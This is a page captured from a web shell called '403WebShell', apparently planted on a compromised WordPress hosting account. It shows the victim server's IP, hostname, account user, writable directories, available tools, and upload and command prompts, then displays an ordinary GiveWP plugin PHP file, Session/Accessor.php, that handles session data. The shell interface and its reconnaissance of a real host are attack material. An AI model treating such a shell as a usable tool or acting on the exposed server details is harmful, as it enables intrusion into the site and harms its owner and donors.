Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.219.255.63
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Session/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Session/Accessor.php
<?php

namespace Give\Session;

use Give\Framework\Exceptions\Primitives\InvalidArgumentException;
use stdClass;

/**
 * Class Access
 *
 * In legacy core session data load in array which contains multiple keys like give_purchase, receipt_access etc.
 * This class helps to convert them into objects. Every subclass will treat a specific key as group of session data.
 *
 * @package Give\Session
 */
abstract class Accessor
{
    /**
     * Session Id.
     *
     * @var string
     */
    protected $sessionKey;

    /**
     * Session data as array.
     *
     * We use this array internally to perform database related operations.
     *
     * @var mixed
     */
    protected $data;

    /**
     * Session data as object.
     * Session data in object format will be return when query.
     *
     * @var stdClass
     */
    protected $dataObj;

    /**
     * Class constructor.
     */
    public function __construct()
    {
        $this->get();
    }

    /**
     * Convert session data to object.
     *
     * @since 2.7.0
     *
     * @param array $data
     *
     * @return stdClass
     */
    protected function convertToObject($data)
    {
        $dataObj = new stdClass();
        $data = $this->renameArrayKeysToPropertyNames($data);

        foreach ($data as $key => $value) {
            if (is_array($value)) {
                $dataObj->{$key} = $this->convertToObject($value);
                continue;
            }

            $dataObj->{$key} = $value;
        }

        return $dataObj;
    }

    /**
     * Get data from session.
     *
     * @since 2.7.0
     * @return stdClass
     */
    public function get()
    {
        if ($this->dataObj) {
            return $this->dataObj;
        }

        $this->data = Give()->session->get($this->sessionKey, $this->data);
        $this->dataObj = $this->convertToObject($this->data);

        return $this->dataObj;
    }

    /**
     * Get data from session.
     *
     * @since 2.7.0
     *
     * @param string $key
     *
     * @return stdClass
     */
    public function getByKey($key)
    {
        $result = null;

        if (null !== $this->dataObj) {
            $result = property_exists($this->dataObj, $key) ? $this->dataObj->{$key} : $result;
        }

        return $result;
    }

    /**
     * Save/Replace/Remove data into session
     *
     * @param string $key
     * @param mixed  $data
     *
     * @return string
     */
    public function store($key, $data)
    {
        $this->validateData($data);

        if ( ! empty($this->data[$key])) {
            // Merge data.
            $this->data[$key] = array_merge(
                $this->data[$key],
                $data
            );
        } else {
            $this->data[$key] = $data;
        }

        return $this->set();
    }

    /**
     * Store data into session.
     *
     * @since 2.7.0
     * @return string
     */
    protected function set()
    {
        $this->dataObj = $this->convertToObject($this->data);

        return Give()->session->set($this->sessionKey, $this->data);
    }

    /**
     * Replace session data.
     *
     * @since 2.7.0
     *
     * @param mixed  $data
     *
     * @param string $key
     *
     * @return string
     */
    public function replace($key, $data)
    {
        $this->validateData($data);
        $this->data[$key] = $data;

        return $this->set();
    }

    /**
     * Delete session data.
     *
     * @since 2.7.0
     *
     * @param string $key
     *
     * @return string
     */
    public function delete($key)
    {
        if (array_key_exists($key, $this->data)) {
            unset($this->data[$key]);
        }

        return $this->set();
    }

    /**
     * Return session data in array format.
     *
     * @since 2.7.0
     * @return array
     */
    public function toArray()
    {
        return $this->data;
    }

    /**
     * Rename array key to property name
     *
     * @since 2.7.0
     *
     * @param array $data
     *
     * @return array
     */
    protected function renameArrayKeysToPropertyNames($data)
    {
        foreach ($data as $key => $value) {
            // Convert array key string to property name.
            // Remove other then char, dash, give related prefix and hyphen and prefix.
            $newName = preg_replace('/[^a-zA-Z0-9_\-]/', '', $key);
            $newName = preg_replace('/(-|_)?give(-|_)?/', '', $newName);
            $keyParts = preg_split('/(-|_)/', $newName);
            $keyParts = array_map('ucfirst', array_filter($keyParts));
            $newName = lcfirst(implode('', $keyParts));

            // Remove old key/value pair if renamed.
            if ($key !== $newName) {
                unset($data[$key]);
            }

            if (is_array($value)) {
                // Process array.
                $data[$newName] = $this->renameArrayKeysToPropertyNames($value);
                continue;
            }

            $data[$newName] = $value;
        }

        return $data;
    }

    /**
     * Validate data.
     *
     * @since 2.7.0
     *
     * @param mixed $data
     *
     */
    protected function validateData($data)
    {
        if (is_array($data) && isset($data[0])) {
            throw new InvalidArgumentException('Invalid value. Please pass an associative array');
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit